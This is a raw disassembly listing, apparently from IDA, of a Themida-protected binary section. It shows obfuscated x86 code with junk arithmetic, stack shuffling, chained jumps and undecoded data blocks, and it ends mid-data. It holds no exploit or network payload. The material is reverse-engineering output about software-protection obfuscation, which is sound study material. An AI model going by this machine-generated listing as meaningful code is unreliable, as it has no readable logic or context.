; ---------------------------------------------------------------------------
		dw 31ADh
		dd 23BB53D8h, 810E8E1Eh, 1EBh, 0C59E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A7B2:				; CODE XREF: Themida_:00544D21j
		xchg	esi, [esp]
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		xchg	esi, [esp]
		mov	edi, [esp]
		jmp	loc_54AC85
; ---------------------------------------------------------------------------

loc_54A7C6:				; CODE XREF: Themida_:0054D006j
		pop	ecx
		xor	ecx, 2783738Dh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54B9BB
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFFC9DE9h, 81CD01FFh, 0F73F3C5h, 0EC835911h, 243C8904h
		dd 2BB53h, 0DF890000h, 0A1ED815Bh, 0E914273Fh, 31E5h, 4C4815Fh
		dd 1000000h, 2434FFDAh,	0E9241C8Bh, 5184h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		jmp	loc_54E0DC
; ---------------------------------------------------------------------------

loc_54A831:				; CODE XREF: Themida_:00544603j
		mov	ecx, [edx]
		mov	edx, [esp]
		jmp	loc_544D09
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0C1810000h, 4, 8704C183h, 248B240Ch,	0B533E924h
		dd 56B8FFFFh, 0E976DE32h, 0FFFFC532h, 5C240487h, 0E9240C8Bh
		dd 2BDAh, 5724048Bh, 4EC81h, 24890000h,	0E48CE924h, 3C8BFFFFh
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 11AAE95Ch
		dd 8B540000h, 0C4812434h, 4, 0E904EC83h, 29E7h,	951E281h
		dd 70E952ECh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A8B3:				; CODE XREF: Themida_:0054DC3Aj
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		xchg	edi, [esp]
		pop	ebx
		shr	ebx, 5
		sub	ebx, 1
		push	0
		sub	[esp], ebx
		pop	ebx
		sub	ebx, 0E7D810CFh
		push	eax
		mov	eax, 20h
		add	eax, edi
		xor	[eax], ebx
		jmp	loc_548DF7
; ---------------------------------------------------------------------------
aIrh		db '‰ŕh',7,0Bh,0
		dd 243C8900h, 14CD6853h, 0E95B6750h, 0FFFF9C92h, 0E904EC83h
		dd 0FFFFF853h, 224548Ah, 2245C88h, 0D2F65B66h, 0E9241486h
		dd 0FFFFD4AFh
; ---------------------------------------------------------------------------

loc_54A918:				; CODE XREF: Themida_:0054652Cj
		add	ecx, 0FF828CDh
		add	ecx, edx
		sub	ecx, 0FF828CDh
		add	ecx, 4FE2407Ah
		pop	edx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_544A2A
; ---------------------------------------------------------------------------

loc_54A948:				; CODE XREF: Themida_:00545AEEj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		push	550F7880h
		pop	edi
		jmp	loc_547065
; ---------------------------------------------------------------------------
		db 83h
		dd 0BB5304C4h, 4, 71E9DF29h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A98F:				; CODE XREF: Themida_:00547FBBj
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	6663h
		mov	[esp], eax
		jmp	loc_54F371
; ---------------------------------------------------------------------------
		db 58h
		dd 5B59CA88h, 8B66D020h, 91E92414h, 57000019h, 1D67E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A9BD:				; CODE XREF: Themida_:0054AAF5j
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0A737E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A9D2:				; CODE XREF: Themida_:00546F90j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	small 3644h
		mov	[esp], bx
		mov	bl, 58h
		sub	al, 0BFh
		add	al, 8Dh
		add	al, bl
		sub	al, 8Dh
		push	cx
		mov	ch, 0BFh
		add	al, ch
		pop	cx
		mov	bx, [esp]
		jmp	loc_547708
; ---------------------------------------------------------------------------
		db 56h
		dd 0F7373ABEh, 2C815675h, 0E2308D24h, 8D05582Bh, 5E2BE230h
		dd 15ABD55h, 0D5F742A8h, 5108E5C1h, 0FF998CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AA25:				; CODE XREF: Themida_:005495B7j
		add	dl, bh
		add	dl, 3Fh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 88h
		add	al, dl
		add	al, 88h
		mov	dx, [esp]
		add	esp, 2
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54D9D7
; ---------------------------------------------------------------------------
		dd 0A1E9C831h, 87000016h, 0BE92434h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AA63:				; CODE XREF: Themida_:00548291j
		mov	edx, esp
		jmp	loc_548036
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 8B240433h, 8B662424h, 0EC812404h,	4, 89243489h
		dd 4EC81E6h, 89000000h,	0E952241Ch, 0FFFFDFBEh,	81242C89h
		dd 4ECh, 24248900h, 4BF57h, 7C010000h, 5D5F0424h, 4C581h
		dd 0EC810000h, 4, 0E9240489h, 3884h, 240C8B66h,	0FFE7AEE9h
		dd 9DC681FFh, 2934BDF7h, 0B9515EF0h, 53784C09h,	587EC181h
		dd 0C1812CFFh, 423F4D61h, 0FFCFBCE9h, 0C8966FFh, 0E882E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AAF2:				; CODE XREF: Themida_:0054B2B5j
		pop	dword ptr [esp]
		jmp	loc_54A9BD
; ---------------------------------------------------------------------------
		dw 99B9h
		dd 0E90BCC37h, 0FFFFB40Ah
; ---------------------------------------------------------------------------

loc_54AB04:				; CODE XREF: Themida_:0054D42Fj
		push	esi
		jmp	loc_5446A0
; ---------------------------------------------------------------------------
		dw 489h
		dd 0B4D2E924h, 3C8BFFFFh, 0E6895624h, 4BD55h, 0C6810000h
		dd 11D24C00h, 18E9EE01h, 0BB00004Bh, 6A5A7C8Ch,	0A6EB814Bh
		dd 120BA58h, 2E84E9D8h,	0E7C10000h, 58B95104h, 81578018h
		dd 6CCB75C1h, 0AAEF819Ah, 12A1E09h, 0AAC781CFh,	592A1E09h
		dd 0B842B605h, 2DF8017Ah, 7AB842B6h, 8B2434FFh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 3D7C7265h
		or	edx, 5C315FD2h
		jmp	loc_54FEB6
; ---------------------------------------------------------------------------
		dw 0CA87h
		dd 0FFBD0DE9h, 4B850FFh, 1000000h, 58042444h, 0E9243C8Bh
		dd 460Dh
; ---------------------------------------------------------------------------

loc_54AB9C:				; CODE XREF: Themida_:0054D353j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_549E94
; ---------------------------------------------------------------------------
aVnmysv6	db 'żvNŹyé˘6',0
		db 0
; ---------------------------------------------------------------------------

loc_54ABC3:				; CODE XREF: Themida_:005498DCj
		neg	dl
		shr	dl, 5
		jmp	loc_54421A
; ---------------------------------------------------------------------------
		db 68h,	4Fh, 16h
		dd 5DE94218h, 0C1FFFFD2h, 0BF5703E6h, 7E791A6Ch, 6650F781h
		dd 85E91B5Dh, 81000026h, 0CC3C39C7h, 9DB2E918h,	74FFFFFFh
		dd 348B0424h, 98B2E924h, 3487FFFFh, 4895C24h, 0E8BA5224h
		dd 0B84BDB07h, 4BDB07ECh, 535AD031h, 0B059C2BBh, 0F2EB811Dh
		dd 1116A07h, 0D8ECE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AC2A:				; CODE XREF: Themida_:0054530Bj
		sub	edi, 0AE8C965Ch
		mov	eax, edi
		jmp	loc_545B12
; ---------------------------------------------------------------------------
		db 68h
		dd 0
		dd 0C9240480h, 80241428h, 8AC9242Ch, 0C4832414h, 0F6CAFE04h
		dd 54EA80D2h, 34FFD030h, 432E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AC5E:				; CODE XREF: Themida_:00549CACj
		mov	ecx, 1F124DECh
		not	ecx
		xor	ecx, 0A831C02h
		jmp	loc_54E22A
; ---------------------------------------------------------------------------
		dd 255D235h, 5280050Eh,	0BF5706FBh, 2EBAF05Fh, 0FFC534E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AC85:				; CODE XREF: Themida_:0054A7C1j
		add	esp, 4
		shl	edi, 7
		shl	edi, 6
		not	edi
		jmp	loc_54675A
; ---------------------------------------------------------------------------
		dd 1BB25266h, 8B66D128h, 89572414h, 4C781E7h, 81000000h
		dd 2C7h, 243C8700h, 0F268665Ch,	1C896608h, 0B2B25224h
		dd 8008E2C0h, 0E2C061F2h, 0D1B05005h, 8858C200h, 0A00CE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ACD6:				; CODE XREF: Themida_:0054D6B1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_54CCFF
		push	eax
		sub	esp, 4
		jmp	loc_54570C
; ---------------------------------------------------------------------------

loc_54ACFF:				; CODE XREF: Themida_:00547A27j
		push	dword ptr [esp]
		jmp	loc_54887C
; ---------------------------------------------------------------------------
		db 81h
		dd 2D708AC1h, 6AE95D12h, 5EFFFFB9h, 5ED6E981h, 0F929439Ah
		dd 294DE9h, 24248900h, 0B41E9h,	243C8900h, 4BFh, 5FFA8900h
		dd 536CE9h, 58C60100h, 0FFCBB7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AD41:				; CODE XREF: Themida_:005448FEj
		push	52FFh
		mov	[esp], ebx
		push	ecx
		jmp	loc_54D833
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4892424h, 92C8E924h,	0C33FFFFh, 0A174E924h, 5055FFFFh
		dd 544BE2B8h, 22D53561h, 0E0C12FA6h, 26283508h,	0C589BF8Fh
		dd 81D5F758h, 0A6425DE5h, 0DAF58107h, 8114FA60h, 0EFFEC5C5h
		dd 5DE801EBh, 2404335Fh, 0E9240431h, 0FFFFB180h
; ---------------------------------------------------------------------------

loc_54AD9C:				; CODE XREF: Themida_:0054A5D4j
		add	ecx, 1CAC76E1h
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_546B2D
; ---------------------------------------------------------------------------
		dw 0B0B9h
		dd 5306A729h, 0FF934DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ADD1:				; CODE XREF: Themida_:0054BEF2j
		push	edx
		sub	esp, 4
		jmp	loc_54DF6C
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0FF4A3503h, 0F7E92385h, 0FFFFD2h, 20D4E9EBh,	0C4810000h
		dd 4, 0FFDCA9E9h, 15F5BFFh, 7E2768D1h, 14890000h, 0BA24h
		dd 0CA010000h, 0E95A0288h, 0FFFF9646h, 565A5452h, 15526852h
		dd 815A5E08h, 560F72CAh, 8E2C15Bh, 7204F281h, 81525E1Fh
		dd 3E462434h, 815E1021h, 213E46F6h, 24148B10h, 104C483h
		dd 0BE565EF2h, 3EA15A72h, 5A76F681h, 0EA813EA1h, 1AD1415Ah
		dd 0C281F201h, 1AD1415Ah, 2414875Eh, 0A16E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AE69:				; CODE XREF: Themida_:0054C39Ej
		mov	ecx, 0C7463C8h
		mov	esi, 0F38B9C39h
		add	esi, ecx
		jmp	loc_54727C
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 9EBF575Ah, 8734A84Eh, 0F547E9EFh, 0B0B3FFFFh, 664CC380h
		dd 50EE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE96:				; CODE XREF: Themida_:00548A35j
		add	ch, 25h
		sub	ch, 82h
		add	bl, 49h
		jmp	loc_547527
; ---------------------------------------------------------------------------

loc_54AEA4:				; CODE XREF: Themida_:0054FBADj
		add	eax, 4
		jmp	loc_54F7C9
; ---------------------------------------------------------------------------

loc_54AEAE:				; CODE XREF: Themida_:00547D54j
		push	4
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2E926B91h
		jmp	loc_54A6BF
; ---------------------------------------------------------------------------

loc_54AEC7:				; CODE XREF: Themida_:00546420j
		push	ecx
		mov	ecx, esp
		jmp	loc_54A3F1
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFF4CEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AED5:				; CODE XREF: Themida_:0054F51Bj
		pop	edx
		jmp	loc_5473C2
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CD8007EDh, 1838E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AEE6:				; CODE XREF: Themida_:0054F8DDj
		mov	esi, 5D3277Ah
		push	ecx
		mov	ecx, 282E1227h
		neg	ecx
		neg	ecx
		add	ecx, 0E05DFD7Eh
		jmp	loc_54CB10
; ---------------------------------------------------------------------------

loc_54AF00:				; CODE XREF: Themida_:00546BAFj
		shl	eax, 2
		sub	eax, 69262B0Bh
		push	ebp
		mov	ebp, 220EFB36h
		jmp	loc_54DC33
; ---------------------------------------------------------------------------
		db 89h
		dd 0E80158C5h, 4E8835Dh, 8B240487h, 14892424h, 0E3B05024h
		dd 94E93304h, 59FFFFC5h, 68E18951h, 3E90h, 0BF243C89h
		dd 51A0765h, 176E9h, 24348900h,	0EC815E54h, 4, 0B8240489h
		dd 4, 48BC601h,	0BC5DE924h, 0EB83FFFFh,	74FF5304h, 0D6E90424h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF6F:				; CODE XREF: Themida_:0054F88Fj
		push	533h
		mov	[esp], edi
		push	6281756h
		pop	edi
		shr	edi, 2
		push	edx
		mov	edx, 3F3A3EFBh
		jmp	loc_54FB82
; ---------------------------------------------------------------------------

loc_54AF8B:				; CODE XREF: Themida_:0054E72Ej
		add	ecx, 6838037Ah
		sub	ecx, edx
		sub	ecx, 6838037Ah
		jmp	loc_545D2F
; ---------------------------------------------------------------------------

loc_54AF9E:				; CODE XREF: Themida_:0054EFEBj
		mov	ecx, edx
		jmp	loc_544369
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 80h
		dd 81E67974h, 326C80C3h, 81FB0125h, 326C80EBh, 0E9525F25h
		dd 490h, 0EBD01DB3h, 254FE9h, 24348B00h, 4C481h, 32E90000h
		dd 81FFFF9Ch, 0F07A89EBh, 243C8B61h, 0E904C483h, 0FFFFCE9Bh
		dd 8704C683h, 0E95C2434h, 0FFFFF171h
; ---------------------------------------------------------------------------

loc_54AFF4:				; CODE XREF: Themida_:00547BF5j
					; Themida_:0054DDE4j
		push	esi
		push	ebp
		jmp	loc_548E6B
; ---------------------------------------------------------------------------
		db 89h
		dd 0C568243Ch, 0FF503D6Ch, 34FF2434h, 0C4815F24h, 4, 5004C483h
		dd 3D6CE1B8h, 9C29E950h, 148BFFFFh, 43456824h, 0C890000h
		dd 1CEEE924h, 33B50000h, 0E8005C04h, 8B665C2Ch,	78E9240Ch
		dd 0BFFFFFBFh, 4A5014DCh, 2CE9FA29h, 5E000016h,	666EE81h
		dd 0BD55024Fh, 19CA6D4Fh, 815DEE21h, 2C6301F6h,	5EF38927h
		dd 0E381E3D1h, 2E5657FAh, 0E381EBD1h, 3ABA43E8h, 2A9FF381h
		dd 0B02D0BDCh, 559C65Ch, 414F69FDh, 0FD2DD829h,	0E9414F69h
		dd 194Ch, 4C4815Ah, 80000000h, 0C3803BC3h, 0E9526675h
		dd 0FFFFC1A6h, 468h, 2434FF00h,	0E789575Dh, 4C781h, 0BCE90000h
		dd 52FFFFCAh, 0BF754CBAh, 64CA816Fh, 5179E331h,	0B9h, 0E9D12900h
		dd 0FFFFFAAEh, 0E95BDA01h, 2C42h
; ---------------------------------------------------------------------------

loc_54B0DC:				; CODE XREF: Themida_:00544058j
		mov	[esp], esi
		mov	esi, 6BBD5609h
		add	eax, esi
		jmp	loc_54BDDF
; ---------------------------------------------------------------------------
		db 68h
		align 10h
		dd 5A241429h, 6AE9D2F7h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B0FB:				; CODE XREF: Themida_:0054587Cj
		pop	ebx
		push	ecx
		mov	ch, 0AEh
		sub	al, ch
		pop	ecx
		jmp	loc_54F729
; ---------------------------------------------------------------------------
aFssA		db 'fSé}A',0
		align 2
		dw 3C89h
		dd 569FBF24h, 0C781771Ah, 94B1E0FAh, 4AD9E9h, 6E055F00h
		dd 0E939B046h, 0FFFFA7BDh, 7326F581h, 0CD817E02h, 6787553h
		dd 7AED814Dh, 0E97F7FFFh, 4D29h, 0E9240C8Bh, 2C69h, 3D38840Fh
		dd 0BA520000h, 7A8011D6h, 1312E281h, 0BD55664Fh, 3B34DB2h
		dd 2C8BEA01h, 4C48124h,	81000000h, 0AE07C1EEh, 81D6011Ch
		dd 0AE07C1C6h, 0C6015A1Ch, 7ABE5657h, 81635031h, 6B7A6AF6h
		dd 5EF7897Dh, 0EFC1D7F7h, 98E78108h, 0F70C5159h, 0D7F747D7h
		dd 0E1CBEF81h, 0BD559A8Dh, 35EE14ECh, 15E6E9h, 2B96600h
		dd 44816600h, 0C530224h, 246C8166h, 66321602h, 2991E955h
		dd 0E9550000h, 0FFFFDF45h, 0BF868h, 1A1EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B1DA:				; CODE XREF: Themida_:005499E2j
		add	edi, esi
		pop	esi
		jmp	loc_54FE58
; ---------------------------------------------------------------------------

loc_54B1E2:				; CODE XREF: Themida_:0054A6F8j
		mov	ebp, 38E9726Fh
		shr	ebp, 4
		and	ebp, 6BB96EEDh
		sub	ebp, 3880620h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	8A1h
		mov	[esp], edi
		push	edx
		mov	edx, 527446F4h
		jmp	loc_54BF7F
; ---------------------------------------------------------------------------

loc_54B21D:				; CODE XREF: Themida_:0054DAC6j
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_54A74E
; ---------------------------------------------------------------------------
		db 88h,	0CCh, 59h
		dd 0FFF191E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B231:				; CODE XREF: Themida_:0054CD4Dj
		pop	ebp
		sub	ebp, 49111061h
		jmp	loc_54D1AC
; ---------------------------------------------------------------------------
		db 1, 0EEh, 8Bh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dw 0C1BAh
		dd 810ED72Fh, 427AADCAh, 84EA814Ah, 520B860Dh, 200E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B279:				; CODE XREF: Themida_:005500B3j
		sub	ah, 52h
		mov	dl, ah
		pop	eax
		xor	dl, 0C5h
		shl	dl, 1
		xor	dl, al
		jmp	loc_546FCB
; ---------------------------------------------------------------------------
		db 1
		dd 74295BDEh, 0FF5E0824h, 835B2434h, 55804C4h, 4DEB0DEBh
		dd 129FBF57h, 0FA2974BFh, 0A3BD555Fh, 0E9278F4Dh, 0FFFFAF42h
; ---------------------------------------------------------------------------

loc_54B2B4:				; CODE XREF: Themida_:0054D525j
		pop	esp
		jmp	loc_54AAF2
; ---------------------------------------------------------------------------

loc_54B2BA:				; CODE XREF: Themida_:00546AE9j
		mov	edi, esp
		add	edi, 4
		push	edx
		sub	esp, 4
		jmp	loc_54D7D1
; ---------------------------------------------------------------------------
		db 0BBh
		dd 12F914D5h, 1EE9D3F7h, 0BBFFFF9Dh, 1F9E5813h,	0E95EF331h
		dd 23B8h, 0E7E9F829h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B2EB:				; CODE XREF: Themida_:005490D7j
		or	ebx, 74804E05h
		push	eax
		jmp	loc_549A25
; ---------------------------------------------------------------------------

loc_54B2F7:				; CODE XREF: Themida_:0054E941j
		neg	edx
		jmp	loc_5479A4
; ---------------------------------------------------------------------------
		dw 159h
		dd 0AE956DFh, 0BBFFFF95h, 6731FDh, 835BD909h, 0E981FFE9h
		dd 677DFCh, 5059C801h, 42474FFh, 24048F58h, 0C8BE0F5Ch
		dd 2FD668h, 240C8900h, 0FF8CEDE9h, 0E9D800FFh, 0FFFFA8B0h
		dd 0BE243489h, 37E03EC9h, 268868h, 0E53FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B34E:				; CODE XREF: Themida_:0054B4F3j
		push	edx
		push	ebp
		pop	edx
		pop	ebp
		add	edx, 6CA075F6h
		xor	ebp, edx
		jmp	loc_54F48E
; ---------------------------------------------------------------------------
		db 68h
		dd 3D1Dh, 0BD242C89h, 4EB74F3Ah, 3BF6F581h, 0E5C16395h
		dd 93E58107h, 5036AF51h, 866361B8h, 208AE92Ah, 3C890000h
		dd 4BF24h, 0C3810000h, 61F07A89h, 3CE9FB01h, 20FFFFFCh
		dd 0E95866C1h, 0FFFFB559h, 0E30097B4h, 0CB805866h, 0E0C380FCh
		dd 805BD908h, 0D1F6BAF1h, 28F3C180h, 0C38059CBh, 80C328C9h
		dd 0C380C9EBh, 0E95866ADh, 2E7Fh, 89243489h, 0BF5751E6h
		dd 60583229h, 0FFD27AE9h, 241C31FFh, 0E9241C33h, 2D81h
; ---------------------------------------------------------------------------

loc_54B3EC:				; CODE XREF: Themida_:005462E8j
		pop	eax
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	ecx
		pop	ebx
		push	ebx
		push	edi
		jmp	loc_54FDB6
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 53E95300h, 5100004Ah, 0FFF9B5E9h, 4BF57FFh, 29000000h
		dd 4875FF8h, 9F7CE924h,	0C381FFFFh, 4, 4B850h, 0C3290000h
		dd 0FFBBA1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B435:				; CODE XREF: Themida_:0054F134j
		add	esp, 4
		push	ecx
		push	eax
		push	edx
		mov	dl, 57h
		shr	dl, 1
		or	dl, 0CEh
		and	dl, 3Ch
		inc	dl
		xor	dl, 0B4h
		push	edx
		jmp	loc_546E1C
; ---------------------------------------------------------------------------
		dd 2BAh, 0E9D30100h, 2029h, 0E904C483h,	0A93h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 30E9E9h, 24048300h, 24148BFFh
		dd 34C1E9h, 0ADEA8100h,	121457Ah, 0ADC281DAh, 5321457Ah
		dd 0FFA837E9h, 4C483FFh, 4C681h, 0EC810000h, 4,	89243C89h
		dd 0A3E950E7h, 81FFFFF3h, 1FF23FEAh, 5AD0290Dh,	0FF8B61E9h
		dd 21CE81FFh, 81732E09h, 10328FC6h, 5EF00100h, 0FFCA07E9h
		dd 59C801FFh, 8F66C331h, 8B40E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B4E2:				; CODE XREF: Themida_:00548488j
		pop	edi
		xor	edx, 5587341Fh
		and	edx, 764A3C20h
		xchg	ebp, edx
		not	ebp
		jmp	loc_54B34E
; ---------------------------------------------------------------------------
		dd 240C8B66h, 2129E9h, 0B5516600h, 66EC8864h, 53D4F659h
		dd 0FFB00EE9h, 48B66FFh, 4EC8324h, 0FFBB72E9h, 4C683FFh
		dd 5C243487h, 0B60F66h,	42BF68h, 8DC8E900h, 0EC83FFFFh
		dd 0C896602h, 207CB524h, 0EDFE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B542:				; CODE XREF: Themida_:0054719Bj
		mov	ebp, [esp]
		push	6E58h
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 74DC7280h
		add	edi, 0FFFFFFFFh
		dec	edi
		shl	edi, 8
		shl	edi, 3
		jmp	loc_544EC3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 44295B04h, 0E9580424h, 0FFFF8AA2h, 0B908E959h
		dd 34FFFFFFh, 2434FF24h, 4C48359h, 1495E9h, 4C48300h, 0FFE2B6E9h
		dd 48B66FFh, 0B56FE924h, 0F128FFFFh, 0B050665Ah, 0FDE9E9EBh
		dd 0ED81FFFFh, 239050EDh, 814DD5F7h, 3E0A4EC5h,	5DEE89A4h
		dd 0FF9C7EE9h, 241C87FFh, 0FC0095Ch, 164084h, 4EC8100h
		dd 89000000h, 0A1682434h, 89000039h, 4BB82404h,	356C055Eh
		dd 232B31C4h, 241CF750h, 0DC2558h, 52407439h, 0C281E289h
		dd 4, 0FFB054E9h, 8BF301FFh, 0C4832434h, 241C8704h, 8124248Bh
		dd 4C6h, 0F9C6E900h, 148BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_545943
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 78CE05EAh, 55E9FE29h, 0FFFFAEh, 148B66F0h, 0B939E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B64E:				; CODE XREF: Themida_:0054711Fj
		mov	[esp], esi
		push	edx
		mov	edx, 390B5D9Dh
		jmp	loc_547F95
; ---------------------------------------------------------------------------

loc_54B65C:				; CODE XREF: Themida_:00546D15j
		mov	[esp], ecx
		mov	ecx, 7BA83BFDh
		jmp	loc_545DFF
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 592434FFh, 2CC368h, 24148900h, 0F8E9E289h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B67F:				; CODE XREF: Themida_:005484BAj
		add	ecx, 197472C0h
		add	ecx, edi
		sub	ecx, 197472C0h
		push	dword ptr [ecx]
		push	edi
		mov	edi, 5ED05F50h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_546232
; ---------------------------------------------------------------------------

loc_54B69F:				; CODE XREF: Themida_:0054A24Bj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54908B
; ---------------------------------------------------------------------------
		dd offset dword_593468
		dw 8900h
		dd 0E589242Ch, 4C581h, 0F8E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B6BF:				; CODE XREF: Themida_:0054F7EBj
		mov	[esp], esi
		mov	esi, 2FBD16EBh
		xor	[esp+4], esi
		jmp	loc_5459A9
; ---------------------------------------------------------------------------
		dd 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	695Bh
		mov	[esp], esi
		jmp	loc_546E25
; ---------------------------------------------------------------------------
		dd 8951E6D1h, 4C181E1h,	83000000h, 0C8704E9h, 0C4E95C24h
		dd 8BFFFFE6h, 0C481241Ch, 4, 582434FFh,	0FFB576E9h, 5E5C1FFh
		dd 607EBA52h, 0E6E92AE0h, 8B000022h, 54552404h,	81242C8Bh
		dd 4C4h, 4C58100h, 0E9000000h, 41B8h, 28479735h, 1E1A3510h
		dd 12D6CA6h, 55000000h,	0AD0377BDh, 78CD814Dh, 0C11AD321h
		dd 0ED8108E5h, 761F0C06h, 44B6E9h, 2474FF00h, 48F5804h
		dd 0E973E924h, 34B9FFFFh, 0E96E1D29h, 0FFFFD659h
; ---------------------------------------------------------------------------

loc_54B774:				; CODE XREF: Themida_:005455B4j
		inc	ecx
		shl	ecx, 7
		sub	ecx, 4EF9E7EEh
		sub	edi, ecx
		jmp	loc_54C2EC
; ---------------------------------------------------------------------------
		db 1, 0FBh, 8Bh
		dd 0C481243Ch, 4, 2C381h, 1C330000h, 241C3124h,	5C241C33h
		dd 9C2404D2h, 0FF8879E9h, 58C328FFh, 1C8BDC30h,	4C48324h
		dd 3B07E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B7B9:				; CODE XREF: Themida_:00545DE2j
		add	edx, 63567BAEh
		jmp	loc_546B25
; ---------------------------------------------------------------------------
		dd 758E68h, 24048900h, 4EC81h, 24890000h, 24048124h, 4
		dd 1BCE9h, 0E0895000h, 405h, 4E88300h, 0E9240433h, 0FFFFA0D8h
		dd 5355E089h, 0FFCEA8E9h, 240489FFh, 0E4C08DB4h, 8ECC002h
		dd 8002E4C0h, 1BE9D3F4h, 88FFFFC9h, 241C8B0Bh, 0E9E28952h
		dd 2DB8h, 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFFB24Ch
; ---------------------------------------------------------------------------

loc_54B834:				; CODE XREF: Themida_:0054BA97j
		add	esp, 4
		bt	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dd 0D5EF089h, 72456737h, 80298235h, 8BC73145h, 0C4812404h
		dd 4, 4566E9h, 59C83100h, 0C4D7E940h, 483FFFFh,	0E90424h
		dd 5D000037h, 8B24048Fh, 7EE92424h, 8B00001Fh, 34FF2424h
